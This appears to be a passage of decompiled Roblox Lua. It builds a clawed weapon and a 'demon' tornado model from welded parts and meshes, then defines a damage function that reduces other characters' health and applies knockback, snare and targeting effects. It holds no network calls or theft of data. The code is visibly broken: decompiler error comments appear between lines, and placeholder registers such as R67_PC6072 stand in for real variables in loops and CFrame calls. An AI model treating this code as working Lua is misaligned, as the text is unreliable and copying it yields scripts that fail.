822 | ClawWeld = CreateWeld(m, MotorOne, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121058, -0.0170745254, -0.650540829, 1.00000012, 0, 3.7252903e-09, 0, 1, 0, 3.7252903e-09, 0, 1.00000024)) | |
823 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981)) | |
824 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003)) | |
825 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151966214, -1.64906764, 1.03426063, -1.19581819e-06, 1, 1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982)) | |
826 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003)) | |
827 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252064466, -1.54980397, -0.844281435, 1.19581819e-06, -1, -1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982)) | |
828 | MotorTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003)) | |
829 | MotorTwoWeld = CreateWeld(m, Handle, MotorTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0479729176, -0.503670454, -0.786706924, 0.0261989962, -0.996971905, -0.0732169896, 0.83798945, 0.0618378855, -0.542171299, 0.545057178, -0.0471507274, 0.837072074)) | |
830 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
831 | ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413152218, -0.00709152222, -1.08955348, 0.90752846, 5.66244125e-07, -0.419990689, -1.74157321e-06, 1, -2.47359276e-06, 0.419990718, 2.98023224e-06, 0.907528639)) | |
832 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003)) | |
833 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
834 | ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.20587635, -0.00710582733, -1.4898783, 0.747897685, -5.36441803e-07, -0.663814127, -1.6707927e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897804)) | |
835 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
836 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993)) | |
837 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151982307, 0.549069643, -0.614216566, -1.19395554e-06, 1, 1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982)) | |
838 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974)) | |
839 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151848793, -0.490990877, -0.295432806, -1.19395554e-06, 1, 1.37090683e-06, -0.961226821, -7.74860382e-07, -0.27575931, -0.27575925, -1.63912773e-06, 0.961226881)) | |
840 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989)) | |
841 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151979923, 0.650617838, -0.406501412, -1.19395554e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667)) | |
842 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974)) | |
843 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152257681, 0.624636889, 0.129745722, -1.19395554e-06, 1, 1.37090683e-06, -0.832109034, -2.38418579e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974)) | |
844 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019)) | |
845 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.015203476, 0.944107533, 0.894238472, 1.19395554e-06, -1, -1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982)) | |
846 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
847 | ClawWeld = CreateWeld(m, MotorTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121142, -0.0170750618, -0.650540113, 1.00000012, -1.86264515e-09, 4.65661287e-09, -1.86264515e-09, 1, 0, 4.65661287e-09, 0, 1.00000024)) | |
848 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981)) | |
849 | CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003)) | |
850 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151972771, -1.64906967, 1.03426158, -1.19395554e-06, 1, 1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982)) | |
851 | CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003)) | |
852 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252062082, -1.54980803, -0.844281912, 1.19395554e-06, -1, -1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982)) | |
853 | MotorThumb = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumb", Vector3.new(0.200000003, 0.200000003, 0.200000003)) | |
854 | MotorThumbWeld = CreateWeld(m, Handle, MotorThumb, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.436262846, -0.542311668, -0.983556807, -0.068211019, -0.995336354, 0.0682120249, -0.707106829, -7.08211871e-07, -0.707106709, 0.703809023, -0.0964656472, -0.703809083)) | |
855 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
856 | ClawWeld = CreateWeld(m, MotorThumb, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607737899, 0.0110911727, 0.0515184402, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888)) | |
857 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005)) | |
858 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
859 | ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723732, 0.990283549, 1.41561031e-06, -0.13906303, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.13906303, 8.94069672e-08, 0.990283489)) | |
860 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
861 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
862 | ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025633, 0.0210601687, -0.0396541655, 0.908135235, 2.08616257e-06, -0.418677092, -1.47148967e-06, 1.00000012, 1.75833702e-06, 0.418677121, -9.23871994e-07, 0.908135176)) | |
863 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
864 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003)) | |
865 | PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129690766, -0.393394113, 0.191975117, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, 0.258097589, 2.08616257e-07, -0.966118932)) | |
866 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003)) | |
867 | PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775405, -0.706632137, 0.168079853, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, -0.258097589, -2.08616257e-07, 0.966118932)) | |
868 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003)) | |
869 | PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299531221, -0.294105291, -0.00194394588, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, -0.258097589, -2.08616257e-07, 0.966118932)) | |
870 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015)) | |
871 | PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598301, 0.0969114304, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, 0.258097589, 2.08616257e-07, -0.966118932)) | |
872 | MotorThumbTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumbTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003)) | |
873 | MotorThumbTwoWeld = CreateWeld(m, Handle, MotorThumbTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.444597721, 0.423756033, -0.897562623, -0.0682120249, -0.995336354, -0.068211019, 0.707106709, -7.08211871e-07, -0.707106829, 0.703809083, -0.0964656621, 0.703809023)) | |
874 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
875 | ClawWeld = CreateWeld(m, MotorThumbTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607738018, 0.0110911727, 0.0515185595, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888)) | |
876 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005)) | |
877 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
878 | ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723612, 0.990283549, 1.42306089e-06, -0.139062777, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.139062807, 1.1920929e-07, 0.990283608)) | |
879 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
880 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
881 | ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025394, 0.0210601091, -0.0396541059, 0.908135235, 2.08616257e-06, -0.418677092, -1.72480941e-06, 1, 1.16229057e-06, 0.418677121, -3.57627869e-07, 0.908135176)) | |
882 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
883 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003)) | |
884 | PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.012969017, -0.393394232, 0.191974878, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, 0.258097559, 1.78813934e-07, -0.966118813)) | |
885 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003)) | |
886 | PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775107, -0.706632137, 0.168079972, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, -0.258097559, -1.78813934e-07, 0.966118813)) | |
887 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003)) | |
888 | PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299596786, -0.29410553, -0.00194442272, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, -0.258097559, -1.78813934e-07, 0.966118813)) | |
889 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015)) | |
890 | PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598063, 0.0969111919, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, 0.258097559, 1.78813934e-07, -0.966118813)) | |
891 | MagniHit = CreatePart(m, Enum.Material.Neon, 0, 1, "Really black", "MagniHit", Vector3.new(0.200000003, 0.200000003, 0.200000003)) | |
892 | MagniHitWeld = CreateWeld(m, Character.HumanoidRootPart, MagniHit, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-4.01003361, -0.230025291, 0.070048213, 0, 0, -1, 0, 1, 0, 1, 0, 0)) | |
893 | local CBlade = {} | |
894 | local CBladeWelds = {} | |
895 | for _,c in pairs(m:children()) do | |
896 | if c.className == "Part" then | |
897 | table.insert(CBlade, R67_PC6072) | |
898 | end | |
899 | end | |
900 | for _,c in pairs(m:children()) do | |
901 | if c.className == "Weld" then | |
902 | table.insert(CBladeWelds, R67_PC6072) | |
903 | print(R66_PC6093) | |
904 | end | |
905 | end | |
906 | -- NIGH-OMNI FATAL ERROR at PC6105: Re-wrote register: R67 in 'AssignReg' | |
907 | ||
908 | -- NIGH-OMNI FATAL ERROR at PC6106: Re-wrote register: R67 in 'AssignReg' | |
909 | ||
910 | --Hit = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", R66_PC6093, R67_PC6072(5, 0.200000003, 5)) | |
911 | -- NIGH-OMNI FATAL ERROR at PC6120: Re-wrote register: R66 in 'AssignReg' | |
912 | ||
913 | -- NIGH-OMNI FATAL ERROR at PC6134: Re-wrote register: R66 in 'AssignReg' | |
914 | ||
915 | HitWeld = CreateWeld(demon, Character.HumanoidRootPart, Hit, CFrame.new(0, R66_PC6093, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(R66_PC6093, -3.50004387, 0.0299530029, 0, 1, 0, 0, 0, -1, -1, 0, 0)) | |
916 | CreateMesh("SpecialMesh", Hit, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(3, 4, 3)) | |
917 | FakeMotor = CreatePart(demon, Enum.Material.Neon, 0, 1, "Really black", "FakeMotor", Vector3.new(2.01999998, 0.2016, 2.36000013)) | |
918 | FakeMotorWeld = CreateWeld(demon, Hit, FakeMotor, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0199999809, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
919 | Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019)) | |
920 | PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -5.06998634, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1)) | |
921 | CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(2.5, 10, 2.5)) | |
922 | Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019)) | |
923 | PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -7.1599884, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1)) | |
924 | CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(1, 10, 1)) | |
925 | TornadoHat = CreatePart(demon, Enum.Material.Neon, 0.20000000298023, 0.5, "Really black", "TornadoHat", Vector3.new(3, 0.400000006, 3)) | |
926 | TornadoHatWeld = CreateWeld(demon, FakeMotor, TornadoHat, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00997924805, -1.65001106, -0.0699994564, 0, 0, -1, 0, -1, 0, -1, 0, 0)) | |
927 | CreateMesh("SpecialMesh", TornadoHat, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1051557", Vector3.new(0, 0, 0), Vector3.new(5, 5, 5)) | |
928 | local DBlade = {} | |
929 | local DBladeWelds = {} | |
930 | for _,c in pairs(demon:children()) do | |
931 | if c.className == "Part" then | |
932 | table.insert(DBlade, c) | |
933 | end | |
934 | end | |
935 | for _,c in pairs(demon:children()) do | |
936 | if c.className == "Weld" then | |
937 | table.insert(DBladeWelds, c) | |
938 | print(c) | |
939 | end | |
940 | end | |
941 | demon.Parent = nil | |
942 | ||
943 | paly = game.Players.LocalPlayer | |
944 | char = paly.Character | |
945 | torso = char.Torso | |
946 | neck = char.Torso.Neck | |
947 | hum = char.Humanoid | |
948 | Player = game:GetService("Players").LocalPlayer | |
949 | local mouse = Player:GetMouse() | |
950 | Character = Player.Character | |
951 | tors = Character.Torso | |
952 | lleg = Character["Left Leg"] | |
953 | root = Character.HumanoidRootPart | |
954 | hed = Character.Head | |
955 | rleg = Character["Right Leg"] | |
956 | rarm = Character["Right Arm"] | |
957 | larm = Character["Left Arm"] | |
958 | local Effects = {} | |
959 | attack = false | |
960 | vt = Vector3.new | |
961 | bc = BrickColor.new | |
962 | br = BrickColor.random | |
963 | it = Instance.new | |
964 | cf = CFrame.new | |
965 | euler = CFrame.fromEulerAnglesXYZ | |
966 | angles = CFrame.Angles | |
967 | matr = math.random | |
968 | local basiccooldown = math.huge | |
969 | local ultcooldown = math.huge | |
970 | local secondcooldown = math.huge | |
971 | local thirdcooldown = math.huge | |
972 | ||
973 | local boll = Instance.new("Part",game.Lighting) | |
974 | boll.Transparency = 0.5 | |
975 | boll.Material = "Neon" | |
976 | boll.BrickColor = tors.BrickColor | |
977 | boll.Anchored = true | |
978 | boll.Size = vt(1,1,1) | |
979 | boll.Shape = "Ball" | |
980 | boll.CanCollide = false | |
981 | ||
982 | local shur = Instance.new("Part",game.Lighting) | |
983 | shur.Transparency = 0 | |
984 | shur.Material = "Neon" | |
985 | shur.BrickColor = tors.BrickColor | |
986 | shur.Anchored = true | |
987 | shur.Size = vt(5,0.2,5) | |
988 | shur.CanCollide = false | |
989 | local Meshshur = Instance.new("CylinderMesh",shur) | |
990 | ||
991 | ||
992 | local boll = Instance.new("Part",game.Lighting) | |
993 | boll.Transparency = 0.5 | |
994 | boll.Material = "Neon" | |
995 | boll.BrickColor = bc("Bright red") | |
996 | boll.Anchored = true | |
997 | boll.Size = vt(1,1,1) | |
998 | boll.Shape = "Ball" | |
999 | boll.CanCollide = false | |
1000 | ||
1001 | local shur = Instance.new("Part",game.Lighting) | |
1002 | shur.Transparency = 0 | |
1003 | shur.Material = "Neon" | |
1004 | shur.BrickColor = bc("Bright red") | |
1005 | shur.Anchored = true | |
1006 | shur.Size = vt(5,0.2,5) | |
1007 | shur.CanCollide = false | |
1008 | local Meshshur = Instance.new("CylinderMesh",shur) | |
1009 | ||
1010 | Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock) | |
1011 | if hit.Parent==nil then | |
1012 | return | |
1013 | end | |
1014 | h=hit.Parent:FindFirstChild("Humanoid") | |
1015 | for _,v in pairs(hit.Parent:children()) do | |
1016 | if v:IsA("Humanoid") then | |
1017 | h=v | |
1018 | end | |
1019 | end | |
1020 | if hit.Parent.Parent:FindFirstChild("Torso")~=nil then | |
1021 | h=hit.Parent.Parent:FindFirstChild("Humanoid") | |
1022 | end | |
1023 | if hit.Parent.className=="Hat" then | |
1024 | hit=hit.Parent.Parent:findFirstChild("Head") | |
1025 | end | |
1026 | if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then | |
1027 | if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end | |
1028 | --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then | |
1029 | return | |
1030 | end]] | |
1031 | -- hs(hit,1.2) | |
1032 | c=Instance.new("ObjectValue") | |
1033 | c.Name="creator" | |
1034 | c.Value=game:service("Players").LocalPlayer | |
1035 | c.Parent=h | |
1036 | game:GetService("Debris"):AddItem(c,.5) | |
1037 | Damage=math.random(minim,maxim) | |
1038 | -- h:TakeDamage(Damage) | |
1039 | blocked=false | |
1040 | block=hit.Parent:findFirstChild("Block") | |
1041 | if block~=nil then | |
1042 | print(block.className) | |
1043 | if block.className=="NumberValue" then | |
1044 | if block.Value>0 then | |
1045 | blocked=true | |
1046 | if decreaseblock==nil then | |
1047 | block.Value=block.Value-1 | |
1048 | end | |
1049 | end | |
1050 | end | |
1051 | if block.className=="IntValue" then | |
1052 | if block.Value>0 then | |
1053 | blocked=true | |
1054 | if decreaseblock~=nil then | |
1055 | block.Value=block.Value-1 | |
1056 | end | |
1057 | end | |
1058 | end | |
1059 | end | |
1060 | if blocked==false then | |
1061 | -- h:TakeDamage(Damage) | |
1062 | h.Health=h.Health-Damage | |
1063 | showDamage(hit.Parent,Damage,.5,TorsoColor) | |
1064 | else | |
1065 | h.Health=h.Health-(Damage/2) | |
1066 | showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue")) | |
1067 | end | |
1068 | if Type=="Knockdown" then | |
1069 | hum=hit.Parent.Humanoid | |
1070 | hum.PlatformStand=true | |
1071 | coroutine.resume(coroutine.create(function(HHumanoid) | |
1072 | swait(1) | |
1073 | HHumanoid.PlatformStand=false | |
1074 | end),hum) | |
1075 | local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit | |
1076 | --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0) | |
1077 | local bodvol=Instance.new("BodyVelocity") | |
1078 | bodvol.velocity=angle*knockback | |
1079 | bodvol.P=5000 | |
1080 | bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003) | |
1081 | bodvol.Parent=hit | |
1082 | rl=Instance.new("BodyAngularVelocity") | |
1083 | rl.P=3000 | |
1084 | rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000 | |
1085 | rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10)) | |
1086 | rl.Parent=hit | |
1087 | game:GetService("Debris"):AddItem(bodvol,.5) | |
1088 | game:GetService("Debris"):AddItem(rl,.5) | |
1089 | elseif Type=="Normal" then | |
1090 | vp=Instance.new("BodyVelocity") | |
1091 | vp.P=500 | |
1092 | vp.maxForce=Vector3.new(math.huge,0,math.huge) | |
1093 | -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback | |
1094 | if KnockbackType==1 then | |
1095 | vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05 | |
1096 | elseif KnockbackType==2 then | |
1097 | vp.velocity=Property.CFrame.lookVector*knockback | |
1098 | end | |
1099 | if knockback>0 then | |
1100 | vp.Parent=hit.Parent.Torso | |
1101 | end | |
1102 | game:GetService("Debris"):AddItem(vp,.5) | |
1103 | elseif Type=="Up" then | |
1104 | local bodyVelocity=Instance.new("BodyVelocity") | |
1105 | bodyVelocity.velocity=vt(0,10,0) | |
1106 | bodyVelocity.P=1000 | |
1107 | bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009) | |
1108 | bodyVelocity.Parent=hit | |
1109 | game:GetService("Debris"):AddItem(bodyVelocity,1) | |
1110 | rl=Instance.new("BodyAngularVelocity") | |
1111 | rl.P=3000 | |
1112 | rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000 | |
1113 | rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20)) | |
1114 | rl.Parent=hit | |
1115 | game:GetService("Debris"):AddItem(rl,.5) | |
1116 | elseif Type=="Snare" then | |
1117 | bp=Instance.new("BodyPosition") | |
1118 | bp.P=2000 | |
1119 | bp.D=100 | |
1120 | bp.maxForce=Vector3.new(math.huge,math.huge,math.huge) | |
1121 | bp.position=hit.Parent.Torso.Position | |
1122 | bp.Parent=hit.Parent.Torso | |
1123 | game:GetService("Debris"):AddItem(bp,1) | |
1124 | elseif Type=="Target" then | |
1125 | if Targetting==false then | |
1126 | ZTarget=hit.Parent.Torso | |
1127 | coroutine.resume(coroutine.create(function(Part) | |
1128 | swait(5) | |
1129 | end),ZTarget) | |
1130 | TargHum=ZTarget.Parent:findFirstChild("Humanoid") | |
1131 | targetgui=Instance.new("BillboardGui") | |
1132 | targetgui.Parent=ZTarget | |
1133 | targetgui.Size=UDim2.new(10,100,10,100) | |
1134 | targ=Instance.new("ImageLabel") | |
1135 | targ.Parent=targetgui | |
1136 | targ.BackgroundTransparency=1 | |
